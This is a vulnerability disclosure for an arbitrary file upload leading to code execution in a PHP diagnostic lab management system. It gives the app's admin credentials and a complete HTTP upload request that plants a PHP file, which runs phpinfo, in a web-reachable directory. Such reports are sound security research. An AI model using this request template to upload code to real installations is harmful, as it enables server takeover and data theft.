Online Diagnostic Lab Management System v1.0 by mayuri_k has arbitrary code execution (RCE)
BUG_Author: 袁世冲
The program is built using the xmapp-php8.1 version
Login account: mayuri.infospace@gmail.com/rootadmin (Super Admin account)
Vulnerability url: ip/diagnostic/php_action/createOrder.php
Loophole location: Online Diagnostic Lab Management System's createOrder.php file exists arbitrary file upload (RCE)
Request package for file upload:
POST /diagnostic/php_action/createOrder.php HTTP/1.1
Host: 192.168.1.88
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.1.88/diagnostic/add-invoice.php
Cookie: PHPSESSID=flklolh755oivesj89eu5fo2c7
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------291102893527846
Content-Length: 2130
-----------------------------291102893527846
Content-Disposition: form-data; name="orderDate"
2022-09-21
-----------------------------291102893527846
Content-Disposition: form-data; name="clientName"
3
-----------------------------291102893527846
Content-Disposition: form-data; name="clientContact"
7070707070
-----------------------------291102893527846
Content-Disposition: form-data; name="productName[]"
4
-----------------------------291102893527846
Content-Disposition: form-data; name="rateValue[]"
300
-----------------------------291102893527846
Content-Disposition: form-data; name="quantity[]"
1
-----------------------------291102893527846
Content-Disposition: form-data; name="totalValue[]"
300.00
-----------------------------291102893527846
Content-Disposition: form-data; name="subTotalValue"
300.00
-----------------------------291102893527846
Content-Disposition: form-data; name="totalAmountValue"
354.00
-----------------------------291102893527846
Content-Disposition: form-data; name="discount"
1
-----------------------------291102893527846
Content-Disposition: form-data; name="grandTotalValue"
353.00
-----------------------------291102893527846
Content-Disposition: form-data; name="gstn"
54.00
-----------------------------291102893527846
Content-Disposition: form-data; name="vatValue"
54.00
-----------------------------291102893527846
Content-Disposition: form-data; name="paid"
1
-----------------------------291102893527846
Content-Disposition: form-data; name="dueValue"
352.00
-----------------------------291102893527846
Content-Disposition: form-data; name="paymentType"
6
-----------------------------291102893527846
Content-Disposition: form-data; name="paymentStatus"
2
-----------------------------291102893527846
Content-Disposition: form-data; name="paymentPlace"
1
-----------------------------291102893527846
Content-Disposition: form-data; name="productImage"; filename="hack.php"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
-----------------------------291102893527846--The files will be uploaded to this directory \diagnostic\assets\myimages\
We visited the directory of the file in the browser and found that the code had been executed

